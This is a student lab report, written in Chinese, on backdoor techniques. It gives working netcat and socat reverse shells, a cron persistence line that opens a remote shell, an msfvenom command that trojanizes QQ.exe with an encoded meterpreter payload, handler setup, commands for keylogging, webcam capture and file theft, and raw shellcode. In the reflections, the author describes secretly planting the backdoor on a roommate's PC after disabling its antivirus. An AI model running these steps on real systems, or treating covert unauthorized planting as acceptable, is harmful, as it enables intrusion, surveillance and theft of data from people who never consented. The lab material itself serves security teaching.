20182217_刘洪宇 后门原理与实践 EXP2
1.后门概念
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
—
下面是近些年的一些例子:
- 编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
- 操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
- 操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
- 固件:更多思科路由器发现后门:中国有4台
- 应用:研究人员发现macOS版Skype内置了后门
- 应用:从广升“后门”事件看企业道德底线
- 应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?
—
我们接下来讲得是一个相对狭义一点的后门的概念,
- 特指潜伏于操作系统中专门做后门的一个程序,
- “坏人”可以连接这个程序
- 远程执行各种指令。
- 概念和木马有重叠
—
* 首先得有这么一个程序
* netcat 系列
* meterpreter
* intersect
* ...特别多
* 其次得放到系统里
* 正版软件故意或被攻击,包含后门
* 正版库文件中包含后门
* 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
* 安装包中包含后门,放到网上供下载
* 绑定到特定文件中,放到网上供下载
* 直接发送恶意程序给你
* 直接发送攻击性钓鱼链接给你,恶意网站种马
* 捡到个U盘,打开个文件看看?
* 煤女帅锅拿U盘直接拷给你
* 攻击系统漏洞,获取控制权后,安装后门
* 再次还得运行起来
* 开机自启动技术
* win的定时任务
* linux的cron
* 伪装成常用软件,诱使用户点击
* 木马化正常软件
* 最后还得不被本机的恶意代码检测程序发现
* 恶意代码免杀技术
* 也不能被本机的或网络上的防火墙发现
* 反弹式连接
* 加密连接
* 隧道技术
2. 常用后门工具
- 2.1 讲怎么用nc获取远程主机的Shell
- 2.2 讲meterpreter怎么用。
—
2.1 NC 或 netcat
1.关于netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
—
- Linux: 一般自带netcat,”man netcat” 或”man nc”可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,”man nc”,查看其使用说明。
- 以下相关指令,实测有效
2.1.1Win获得Linux Shell
1.获取kali的IP地址
2.获取windows的IP地址
3.windows 打开监听
4.Linux反弹连接win
5.windows下获得一个linux shell,可运行任何指令,如ls
6.在Linux中使用crontab增加定时条件
1 touch guocron 2 echo "* * * * * nc 192.168.43.162 1213 -e /bin/sh" > guocron 3 crontab guocron
可以看到已经成功设置每分钟执行一次连接操作,意味着只要开机后基本就自己连上我们的主机了。
2.1.2 Linux获得Win Shell
1.Linux运行监听指令
2.Windows反弹连接Linux
3.Linux下看到Windows的命令提示
2.1.3 socat获取win10 cmd
-
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
1.打开计算机管理
在任务计划程序创建任务,填写任务名称,并新建一个触发器。
在操作->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5303 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5303
,同时把cmd.exe
的stderr
重定向到stdout
上:
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
此时,在Kali环境下输入指令socat – tcp:172.30.4.253:5303,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5215端口,此时可以发现已经成功获得了一个cmd shell:
2.2 Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
-
基本功能(基本的连接、执行指令)
, -
扩展功能(如搜集用户信息、安装服务等功能)
, -
编码模式
, -
运行平台
, - 以及
运行参数
-
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
—
典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
—
我们接下来学习如何使用msfvenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.
揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
—
2.2.1 生成的QQ.exe,复制到Win
- 下面指令中用到的 ./QQ.exe 是一个普通的windows可执行文件,被我复制了kali目录下,后门会被写到这个文件中。我做实验时用的是QQ.exe,你可以用其他文件代替。不论用哪个可执行文件都可以,但当然需要复制到linux下了。
root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp -x ./QQ.exe -e x64/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.43.96 LPORT=2217 -f exe > 20182217_backdoor.exe *** 或者简单点 *** root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.96 `PORT=443 -f exe > 20182217_backdoor.exe
将生成的后门文件通过ncat发送到win。
*** 在Windows中使用 *** ncat.exe -lv 2217 > 20182217_backdoor.exe进行传输 *** kali中输入 **** nc 172.16.209.29 2217 < 20182217_backdoor.exe(此处的IP为Windows的IP) 将生成的后门程序传送到Windows主机,传输成功。
2.2.2 MSF打开监听进程
在Linux如下操作至 ‘exploit\’一步;
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.43.96 LHOST => 192.168.43.96 msf6 exploit(multi/handler) > set LPORT 2217 LPORT => 2217 msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: \'\', seh, thread, process, none) LHOST 192.168.43.96 yes The listen address (an interface may be specified) LPORT 2217 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) > exploit
在win机点击后门文件进行运行
- Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell:
2.2.2.1 msf指令实践
1.生成获取目标主机音频
2.获取目标摄像头
3.获取击键记录
#开始记录
keyscan_start
#读取击键的记录:
keyscan_dump
4.提权
shell
2.2.3 拓展msf命令
转载https://blog.csdn.net/wxh0000mm/article/details/98870581
help# 查看Meterpreter帮助 background#返回,把meterpreter后台挂起 bgkill# 杀死一个背景 meterpreter 脚本 bglist#提供所有正在运行的后台脚本的列表 bgrun#作为一个后台线程运行脚本 channel#显示活动频道 sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用 sesssions -k number #与会话进行交互 close# 关闭通道 exit# 终止 meterpreter 会话 quit# 终止 meterpreter 会话 interact id #切换进一个信道 run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等 irb# 进入 Ruby 脚本模式 read# 从通道读取数据 write# 将数据写入到一个通道 run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本 use# 加载 meterpreter 的扩展 load/use#加载模块 Resource#执行一个已有的rc脚本 2.文件系统命令 cat c:\boot.ini#查看文件内容,文件必须存在 del c:\boot.ini #删除指定的文件 upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\ download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/ edit c:\boot.ini # 编辑文件 getlwd#打印本地目录 getwd#打印工作目录 lcd#更改本地目录 ls#列出在当前目录中的文件列表 lpwd#打印本地目录 pwd#输出工作目录 cd c:\\ #进入目录文件下 rm file #删除文件 mkdir dier #在受害者系统上的创建目录 rmdir#受害者系统上删除目录 dir#列出目标主机的文件和文件夹信息 mv#修改目标主机上的文件名 search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc meterpreter > search -f autoexec.bat #搜索文件 meterpreter > search -f sea*.bat c:\\xamp\\ enumdesktops #用户登录数
2.2.3 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.安照之前的步骤生成好shellcode
perl -e \’print “A” x 32;print”\x50\xd5\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80″\’ > input_shellcode
2.在另一个进程使用msf连接shellcode,完成注入
成功!
3.基础问题回答
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
通过在网上放带有后门的程序的下载链接,在下载方打开这个带有后门的程序时,通过msf等工具获取下载方的shell。
- (2)例举你知道的后门如何启动起来(win及linux)的方式?
win:通过设定任务计划程序,设置好触发器,在当满足触发器的条件时启动带有后门的程序。
linux:通过cron定时启动执行后门程序。
- (3)Meterpreter有哪些给你映像深刻的功能?
可以监控被攻击方的摄像头、录音以及实时屏幕,甚至可以监控被攻击方的键盘输入和盗取密码,这使被攻击方在丢掉主机设备隐私性的同时也让其现实隐私被艰苦。
- (4)如何发现自己有系统有没有被安装后门?
实时打开自己的杀软以及防护墙,定时扫描自己的硬盘文件,也可以通过wireshark等嗅探器自己的主机是否向其他方发送数据,以及查看自己任务管理器是否有陌生进程在运行。
4.实验感想
- 本次实验的主要任务是通过各种工具获得被攻击机的shell权限,关于这次实验的体会,我只想说。。。。太帅了!!!!!
- 在实验中我也遇到了很多的问题,比如我的kali开始时无法运行msf,经过百度等我了解到是我的kali版本与msf不兼容,更新系统以及输入一串我不认识的代码后成功运行了。我将我室友的电脑中放入了我做的后门文件,然后偷偷关闭了他的杀软以及window defender的实时扫描,然后让他连上了我的热点,之后就嘿嘿嘿。
- 这次实验是我对网络攻防技术有了更大兴趣,想要更好的去学习其技术,我将通过此次实验所积累的经验,争取更有效率地去完成接下来的实验。